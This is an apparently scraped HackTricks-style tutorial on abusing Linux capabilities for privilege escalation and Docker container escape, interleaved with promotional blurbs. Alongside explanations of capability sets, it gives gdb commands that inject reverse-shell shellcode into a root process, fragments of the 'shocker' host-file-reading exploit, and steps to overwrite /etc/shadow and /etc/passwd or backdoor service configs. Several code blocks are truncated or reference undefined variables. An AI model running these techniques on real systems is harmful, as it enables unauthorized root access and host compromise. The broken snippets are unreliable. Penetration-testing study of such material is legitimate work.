<summary><strong>Learn AWS hacking from zero to hero with</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.\\
Linux capabilities divide **root privileges into smaller, distinct units**, allowing processes to have a subset of privileges. This minimizes the risks by not granting full root privileges unnecessarily.
- **Purpose**: Determines the capabilities passed down from the parent process.
- **Functionality**: When a new process is created, it inherits the capabilities from its parent in this set. Useful for maintaining certain privileges across process spawns.
- **Restrictions**: A process cannot gain capabilities that its parent did not possess.
- **Purpose**: Represents the actual capabilities a process is utilizing at any moment.
- **Functionality**: It's the set of capabilities checked by the kernel to grant permission for various operations. For files, this set can be a flag indicating if the file's permitted capabilities are to be considered effective.
- **Significance**: The effective set is crucial for immediate privilege checks, acting as the active set of capabilities a process can use.
- **Purpose**: Defines the maximum set of capabilities a process can possess.
- **Functionality**: A process can elevate a capability from the permitted set to its effective set, giving it the ability to use that capability. It can also drop capabilities from its permitted set.
- **Boundary**: It acts as an upper limit for the capabilities a process can have, ensuring a process doesn't exceed its predefined privilege scope.
- **Purpose**: Puts a ceiling on the capabilities a process can ever acquire during its lifecycle.
- **Functionality**: Even if a process has a certain capability in its inheritable or permitted set, it cannot acquire that capability unless it's also in the bounding set.
- **Use-case**: This set is particularly useful for restricting a process's privilege escalation potential, adding an extra layer of security.
- **Purpose**: Allows certain capabilities to be maintained across an `execve` system call, which typically would result in a full reset of the process's capabilities.
- **Functionality**: Ensures that non-SUID programs that don't have associated file capabilities can retain certain privileges.
- **Restrictions**: Capabilities in this set are subject to the constraints of the inheritable and permitted sets, ensuring they don't exceed the process's allowed privileges.
To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\
Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes.
Although that works, there is another and easier way. To see the capabilities of a running process, simply use the **getpcaps** tool followed by its process ID (PID). You can also provide a list of process IDs.
Lets check here the capabilities of `tcpdump` after having giving the binary enough capabilities (`cap_net_admin` and `cap_net_raw`) to sniff the network (_tcpdump is running in process 9562_):
As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary.\
The _getpcaps_ tool uses the **capget()** system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information.
Apparently **it's possible to assign capabilities also to users**. This probably means that every process executed by the user will be able to use the users capabilities.\
Base on on [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)and [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be `/etc/security/capability.conf`.\
Inside the **bash executed by the compiled ambient binary** it's possible to observe the **new capabilities** (a regular user won't have any capability in the "current" section).
The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries.
Therefore, a **service configuration** file allows to **specify** the **capabilities** you want it to have, **and** the **user** that should execute the service to avoid running a service with unnecessary privileges:
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root.
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** is a highly potent Linux capability, often equated to a near-root level due to its extensive **administrative privileges**, such as mounting devices or manipulating kernel features. While indispensable for containers simulating entire systems, **`CAP_SYS_ADMIN` poses significant security challenges**, especially in containerized environments, due to its potential for privilege escalation and system compromise. Therefore, its usage warrants stringent security assessments and cautious management, with a strong preference for dropping this capability in application-specific containers to adhere to the **principle of least privilege** and minimize the attack surface.
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
**This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**.
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** grants the ability to use debugging and system call tracing functionalities provided by `ptrace(2)` and cross-memory attach calls like `process_vm_readv(2)` and `process_vm_writev(2)`. Although powerful for diagnostic and monitoring purposes, if `CAP_SYS_PTRACE` is enabled without restrictive measures like a seccomp filter on `ptrace(2)`, it can significantly undermine system security. Specifically, it can be exploited to circumvent other security restrictions, notably those imposed by seccomp, as demonstrated by [proofs of concept (PoC) like this one](https://gist.github.com/thejh/8346f47e359adecd1d53).
# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"
print(f"set {{long}}($rip+{i}) = {chunks}")
```
Debug a root process with gdb ad copy-paste the previously generated gdb lines:
```bash
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]
```
**Example with environment (Docker breakout) - Another gdb Abuse**
If **GDB** is installed (or you can install it with `apk add gdb` or `apt install gdb` for example) you can **debug a process from the host** and make it call the `system` function. (This technique also requires the capability `SYS_ADMIN`)**.**
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root
```
List **processes** running in the **host**`ps -eaf`
3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c](https://github.com/0x00pf/0x00sec\_code/blob/master/mem\_inject/infect.c))
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** empowers a process to **load and unload kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls)**, offering direct access to the kernel's core operations. This capability presents critical security risks, as it enables privilege escalation and total system compromise by allowing modifications to the kernel, thereby bypassing all Linux security mechanisms, including Linux Security Modules and container isolation.
In the following example the binary **`kmod`** has this capability.
```bash
getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep
```
Which means that it's possible to use the command **`insmod`** to insert a kernel module. Follow the example below to get a **reverse shell** abusing this privilege.
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
**The code of this technique was copied from the laboratory of "Abusing SYS\_MODULE Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
Another example of this technique can be found in [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host)
[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables a process to **bypass permissions for reading files and for reading and executing directories**. Its primary use is for file searching or reading purposes. However, it also allows a process to use the `open_by_handle_at(2)` function, which can access any file, including those outside the process's mount namespace. The handle used in `open_by_handle_at(2)` is supposed to be a non-transparent identifier obtained through `name_to_handle_at(2)`, but it can include sensitive information like inode numbers that are vulnerable to tampering. The potential for exploitation of this capability, particularly in the context of Docker containers, was demonstrated by Sebastian Krahmer with the shocker exploit, as analyzed [here](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
You can learn how the following exploiting works in [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP\_DAC\_READ\_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open\_by\_handle\_at(2)**_ and **could allow our process to sensitive files opened by other processes**.
The original exploit that abuse this permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), the following is a **modified version that allows you to indicate the file you want to read as first argument and dump it in a file.**
```c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
The exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command:
**The code of this technique was copied from the laboratory of "Abusing DAC\_READ\_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
**This mean that you can bypass write permission checks on any file, so you can write any file.**
There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
First of all read the previous section that [**abuses DAC\_READ\_SEARCH capability to read arbitrary files**](linux-capabilities.md#cap\_dac\_read\_search) of the host and **compile** the exploit.\
In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**.
**The code of this technique was copied from the laboratory of "Abusing DAC\_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)
Lets suppose the **`python`** binary has this capability, you can **change** the **owner** of the **shadow** file, **change root password**, and escalate privileges:
There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
Once you have find a file you can abuse (via reading or writing) to escalate privileges you can **get a shell impersonating the interesting group** with:
In this case the group shadow was impersonated so you can read the file `/etc/shadow`:
```bash
cat /etc/shadow
```
If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](./#writable-docker-socket).
This capability allow to **give any other capability to binaries**, so we could think about **escaping** from the container **abusing any of the other capability breakouts** mentioned in this page.\
However, if you try to give for example the capabilities CAP\_SYS\_ADMIN and CAP\_SYS\_PTRACE to the gdb binary, you will find that you can give them, but the **binary won’t be able to execute after this**:
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP\_SETPCAP** capability in its effective set._\
It looks like the Permitted capabilities limit the ones that can be used.\
However, Docker also grants the **CAP\_SETPCAP** by default, so you might be able to **set new capabilities inside the inheritables ones**.\
However, in the documentation of this cap: _CAP\_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\
It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP\_SYS\_ADMIN or CAP\_SYS\_PTRACE in the inherit set to escalate privileges**.
[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to descriptively `perform a range of device-specific operations on other devices`.
Lets suppose the **`python`** binary has this capability. If you could **also modify some service or socket configuration** (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor.
If you have kill capabilities and there is a **node program running as root** (or as a different user)you could probably **send** it the **signal SIGUSR1** and make it **open the node debugger** to where you can connect.
```bash
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
If **`python`** has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports)
[**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) capability permits processes to **create RAW and PACKET sockets**, enabling them to generate and send arbitrary network packets. This can lead to security risks in containerized environments, such as packet spoofing, traffic injection, and bypassing network access controls. Malicious actors could exploit this to interfere with container routing or compromise host network security, especially without adequate firewall protections. Additionally, **CAP_NET_RAW** is crucial for privileged containers to support operations like ping via RAW ICMP requests.
The following example is **`python2`** code that can be useful to intercept traffic of the "**lo**" (**localhost**) interface. The code is from the lab "_The Basics: CAP-NET\_BIND + NET\_RAW_" from [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com)
[**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) capability grants the holder the power to **alter network configurations**, including firewall settings, routing tables, socket permissions, and network interface settings within the exposed network namespaces. It also enables turning on **promiscuous mode** on network interfaces, allowing for packet sniffing across namespaces.
[**CAP\_SYS\_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables the execution of the `chroot(2)` system call, which can potentially allow for the escape from `chroot(2)` environments through known vulnerabilities:
* [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf)
[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) not only allows the execution of the `reboot(2)` system call for system restarts, including specific commands like `LINUX_REBOOT_CMD_RESTART2` tailored for certain hardware platforms, but it also enables the use of `kexec_load(2)` and, from Linux 3.17 onwards, `kexec_file_load(2)` for loading new or signed crash kernels respectively.
[**CAP\_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) was separated from the broader **CAP_SYS_ADMIN** in Linux 2.6.37, specifically granting the ability to use the `syslog(2)` call. This capability enables the viewing of kernel addresses via `/proc` and similar interfaces when the `kptr_restrict` setting is at 1, which controls the exposure of kernel addresses. Since Linux 2.6.39, the default for `kptr_restrict` is 0, meaning kernel addresses are exposed, though many distributions set this to 1 (hide addresses except from uid 0) or 2 (always hide addresses) for security reasons.
Additionally, **CAP_SYSLOG** allows accessing `dmesg` output when `dmesg_restrict` is set to 1. Despite these changes, **CAP_SYS_ADMIN** retains the ability to perform `syslog` operations due to historical precedents.
[**CAP\_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) extends the functionality of the `mknod` system call beyond creating regular files, FIFOs (named pipes), or UNIX domain sockets. It specifically allows for the creation of special files, which include:
- **S_IFCHR**: Character special files, which are devices like terminals.
- **S_IFBLK**: Block special files, which are devices like disks.
This capability is essential for processes that require the ability to create device files, facilitating direct hardware interaction through character or block devices.
It is a default docker capability ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
This approach allows the standard user to access and potentially read data from `/dev/sdb` through the container, exploiting shared user namespaces and permissions set on the device.
**CAP_SETPCAP** enables a process to **alter the capability sets** of another process, allowing for the addition or removal of capabilities from the effective, inheritable, and permitted sets. However, a process can only modify capabilities that it possesses in its own permitted set, ensuring it cannot elevate another process's privileges beyond its own. Recent kernel updates have tightened these rules, restricting `CAP_SETPCAP` to only diminish the capabilities within its own or its descendants' permitted sets, aiming to mitigate security risks. Usage requires having `CAP_SETPCAP` in the effective set and the target capabilities in the permitted set, utilizing `capset()` for modifications. This summarizes the core function and limitations of `CAP_SETPCAP`, highlighting its role in privilege management and security enhancement.
**`CAP_SETPCAP`** is a Linux capability that allows a process to **modify the capability sets of another process**. It grants the ability to add or remove capabilities from the effective, inheritable, and permitted capability sets of other processes. However, there are certain restrictions on how this capability can be used.
A process with `CAP_SETPCAP`**can only grant or remove capabilities that are in its own permitted capability set**. In other words, a process cannot grant a capability to another process if it does not have that capability itself. This restriction prevents a process from elevating the privileges of another process beyond its own level of privilege.
Moreover, in recent kernel versions, the `CAP_SETPCAP` capability has been **further restricted**. It no longer allows a process to arbitrarily modify the capability sets of other processes. Instead, it **only allows a process to lower the capabilities in its own permitted capability set or the permitted capability set of its descendants**. This change was introduced to reduce potential security risks associated with the capability.
To use `CAP_SETPCAP` effectively, you need to have the capability in your effective capability set and the target capabilities in your permitted capability set. You can then use the `capset()` system call to modify the capability sets of other processes.
In summary, `CAP_SETPCAP` allows a process to modify the capability sets of other processes, but it cannot grant capabilities that it doesn't have itself. Additionally, due to security concerns, its functionality has been limited in recent kernel versions to only allow reducing capabilities in its own permitted capability set or the permitted capability sets of its descendants.
**Most of these examples were taken from some labs of** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), so if you want to practice this privesc techniques I recommend these labs.
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
<summary><strong>Learn AWS hacking from zero to hero with</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.